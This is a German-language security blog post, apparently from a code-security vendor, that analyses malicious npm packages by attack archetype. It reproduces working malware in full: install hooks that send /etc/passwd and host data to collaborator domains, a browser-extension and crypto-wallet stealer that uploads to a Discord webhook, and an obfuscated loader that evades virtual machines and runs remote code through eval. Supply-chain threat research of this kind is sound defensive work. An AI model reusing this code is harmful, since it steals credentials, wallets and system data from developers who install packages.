Produkt
Alles, was Sie für die Sicherung von Code, Cloud und Laufzeit benötigen - in einem zentralen System
Code
Abhängigkeiten
Vermeidung von Open-Source-Risiken (SCA)
Geheimnisse
Aufgedeckte Geheimnisse fangen
SAST
Sicherer Code, wie er geschrieben wurde
Container-Bilder
Bilder einfach sichern
Malware
Verhinderung von Angriffen auf die Lieferkette
Infrastruktur als Code
IaC auf Fehlkonfigurationen prüfen
Lizenzrisiko & SBOMs
Vermeiden Sie Risiken, seien Sie konform
Veraltete Software
Kennen Sie Ihre EOL-Laufzeiten
Wolke
Wolke / CSPM
Cloud-Fehlkonfigurationen
DAST
Black-Box-Sicherheitstests
API-Überprüfung
Testen Sie Ihre APIs auf Sicherheitslücken
Virtuelle Maschinen
Keine Agenten, keine Gemeinkosten
Kubernetes-Laufzeit
bald
Sichern Sie Ihre Container-Workloads
Cloud-Inventar
Cloud-Sprawl, gelöst
Verteidigen Sie
Laufzeitschutz
In-App-Firewall / WAF
Eigenschaften
AI AutoFix
1-Klick-Korrekturen mit Aikido AI
CI/CD-Sicherheit
Scannen vor der Zusammenführung und Bereitstellung
IDE-Integrationen
Sofortiges Feedback während des Programmierens
Vor-Ort-Scanner
Lokales Scannen nach dem Prinzip "Compliance first
Lösungen
Anwendungsfälle
Einhaltung der Vorschriften
SOC 2, ISO und mehr automatisieren
Schwachstellen-Management
All-in-1-Verwaltung von Viren
Sichern Sie Ihren Code
Erweiterte Codesicherheit
SBOMs generieren
1 Klick SCA-Berichte
ASPM
End-to-End AppSec
AI im Aikido
Lassen Sie Aikido AI die Arbeit machen
Block 0-Tage
Bedrohungen blockieren, bevor sie sich auswirken
Branchen
FinTech
HealthTech
HRTech
Legal Tech
Konzerne
Agenturen
Startups
Unternehmen
Mobile Apps
Herstellung
Preise
Ressourcen
Entwickelnde
Dokumente
Wie man Aikido verwendet
Öffentliche API-Dokumente
Aikido-Entwicklerzentrum
Änderungsliste
Sehen Sie, was geliefert wird
Sicherheit
Interne Forschung
Malware und CVE-Informationen
Glossar
Leitfaden zum Sicherheitsjargon
Trust Center
Sicher, privat, gesetzeskonform
Open Source 
Aikido Intel
Malware & OSS-Bedrohungs-Feed
Zen
In-App-Firewall-Schutz
OpenGrep
Code-Analyse-Engine
Integrationen
IDEs
CI/CD-Systeme
Wolken
Git-Systeme
Einhaltung der Vorschriften
Boten
Aufgaben-Manager
Mehr Integrationen
Über
Über
Über
Treffen Sie das Team
Karriere
Wir stellen ein
Pressemappe
Herunterladen von Markenwerten
Kalender
Sehen wir uns?
Open Source 
Unsere OSS-Projekte
Blog
Die neuesten Beiträge
Kundengeschichten
Das Vertrauen der besten Teams
Kontakt
Anmeldung
Kostenloser Start
Kein CC erforderlich
Aikido
Menü
Aikido
DE
DE
FR
JP
Anmeldung
Kostenloser Start
Kein CC erforderlich
Blog
/
Der Malware-Leitfaden: Die Arten von Malware auf NPM verstehen

Der Malware-Leitfaden: Die Arten von Malware auf NPM verstehen

Unter
Charlie Eriksen
Charlie Eriksen
4 Minuten lesen
Malware

Die Knotenpunkt Ökosystem basiert auf einer Vertrauensbasis - dem Vertrauen, dass die Pakete, die Sie npm-Installation dass sie das tun, was sie vorgeben zu tun. Aber dieses Vertrauen ist oft unangebracht.

Im vergangenen Jahr haben wir einen beunruhigenden Trend beobachtet: eine steigende Anzahl von bösartigen Paketen, die auf npm veröffentlicht wurden und sich oft im Verborgenen halten. Einige sind grobe Proof-of-Concepts (PoCs) von Forschern, andere sind sorgfältig ausgearbeitete Backdoors. Einige geben vor, legitime Bibliotheken zu sein, andere schleusen Daten direkt vor Ihrer Nase ein, indem sie diese verschleiern oder clevere Formatierungstricks anwenden.

In diesem Bericht werden mehrere von uns analysierte Schadpakete aus der Praxis vorgestellt. Jedes von ihnen repräsentiert einen bestimmten Archetyp von Angriffstechniken, die wir in freier Wildbahn beobachten. Egal, ob Sie Entwickler, Red-Teamer oder Sicherheitsingenieur sind, Sie sollten diese Muster auf Ihrem Radar haben.

Der PoC

Viele der Pakete, die wir sehen, stammen von Sicherheitsforschern, die nicht wirklich versuchen, sich zu tarnen. Sie wollen einfach nur etwas beweisen, oft im Rahmen von Bug Bounty Hunting. Das bedeutet, dass ihre Pakete normalerweise sehr einfach sind und oft keinen Code enthalten. Sie verlassen sich lediglich auf einen "Lebenszyklus-Haken", den Pakete verwenden können, sei es vor der Installation, bei der Installation oder nach der Installation. Diese Hooks sind einfache Befehle, die vom Paketmanager während der Installation ausgeführt werden.

Beispiel: local_editor_top

Im Folgenden finden Sie ein Beispiel für ein Paket local_editor_top, ein Paket, das wir aufgrund seines Vorinstallations-Hooks entdeckt haben, der die /etc/passwd Datei an einen Burp Suite Collaborator-Endpunkt mit vorangestelltem Hostnamen.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Beispiel: ccf-identity

Einige Forscher gehen noch einen Schritt weiter und rufen eine Datei innerhalb des Pakets ccf-identity um Daten zu extrahieren. Wir haben zum Beispiel das Paket entdeckt, einen Lifecycle-Hook und eine Javascript-Datei mit vielen Indikatoren für eine Exfiltrationsumgebung beobachtet:

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Wie Sie sehen können, ruft es die Datei index.js bevor der Installationsprozess für das Paket beginnt. Nachfolgend ist der Inhalt der Datei aufgeführt.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Diese Proof-of-Concepts gehen ziemlich weit und sammeln viele Informationen, oft auch Informationen über Netzwerkadapter!

Der Hochstapler

Wenn Sie genau hingesehen haben, ist Ihnen vielleicht aufgefallen, dass das vorherige Beispiel darauf hindeutet, dass es sich um ein Microsoft-Paket handelt. Haben Sie es bemerkt? Keine Sorge, es ist nicht wirklich ein Paket von Microsoft! Vielmehr ist es auch ein Beispiel für unseren zweiten Archetyp: Der Hochstapler. 

Ein gutes Beispiel dafür ist das Paket Anträge - Versprechen. Schauen wir uns das an paket.json Datei:

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Sie werden etwas Interessantes bemerken. Auf den ersten Blick sieht es wie ein echtes Paket aus, aber es gibt zwei große Hinweise, dass etwas nicht stimmt:

  • Die Github-Referenzen erwähnen Anfrage-Versprechend.h. in der Einzahl. Der Paketname steht im Plural.
  • Es gibt einen Postinstall-Hook für eine Datei namens lib/rq.js. 

Das Paket sieht ansonsten legal aus. Es hat den Code, der von dem Paket in lib/rp.js (Beachten Sie den Unterschied zwischen rp.js und rq.js). Sehen wir uns also diese zusätzliche Datei an, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

Lassen Sie sich nicht von der Tatsache täuschen, dass der Code eine Funktion namens makelove. Es ist sofort klar, dass dieser Code nach Browser-Caches und Krypto-Wallets sucht, die er an den Endpunkt sendet, der base64-kodiert ist. Bei der Dekodierung wird ein Discord-Webhook angezeigt.

https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

Also doch nicht so liebevoll.

Der Obfuskator

Ein klassischer Trick, um nicht entdeckt zu werden, ist die Verschleierung. Die gute Nachricht für den Verteidiger ist, dass die Obfuskation wirklich sticht wie ein böser Daumen hervor und ist in den meisten Fällen leicht zu überwinden. Ein Beispiel dafür ist das Paket chickenisgood. Ein Blick in die Datei index.js sehen wir, dass sie eindeutig verschleiert ist.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

Wir können bereits sehen, dass sie Dinge erwähnt wie checkVirtualMachine, checkUptime, isHostnameValidund andere Namen, die Verdacht erregen. Aber um vollständig zu bestätigen, was es tut, können wir es durch öffentlich verfügbare Deobfuskatoren/Decoder laufen lassen. Und plötzlich erhalten wir etwas, das ein wenig lesbarer ist.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

Es ist klar zu erkennen, dass er eine Menge Systeminformationen sammelt und irgendwann eine HTTP-Anfrage senden wird. Es scheint auch, dass er aufgrund des Vorhandenseins von eval() innerhalb der Callbacks einer HTTP-Anfrage beliebigen Code ausführen wird, was ein bösartiges Verhalten zeigt.

Der Trickster

Manchmal sehen wir auch Pakete, die versuchen, sich wirklich heimlich zu verstecken. Es ist nicht so, dass sie versuchen, sich durch Verschleierung zu verstecken, um die Logik schwer verständlich zu machen. Sie machen es einem Menschen nur schwer, sie zu erkennen, wenn er nicht aufpasst.

Ein solches Beispiel ist das Paket htps-curl. Hier ist der Code, der auf der offiziellen npm-Website angezeigt wird:

Auf den ersten Blick sieht es unschuldig aus, oder? Aber haben Sie die horizontale Bildlaufleiste bemerkt? Sie versucht, ihre eigentliche Nutzlast mit Leerzeichen zu verstecken! Hier ist der eigentliche Code, wenn wir ihn ein wenig aufhübschen.

console.log('Installed');
try {
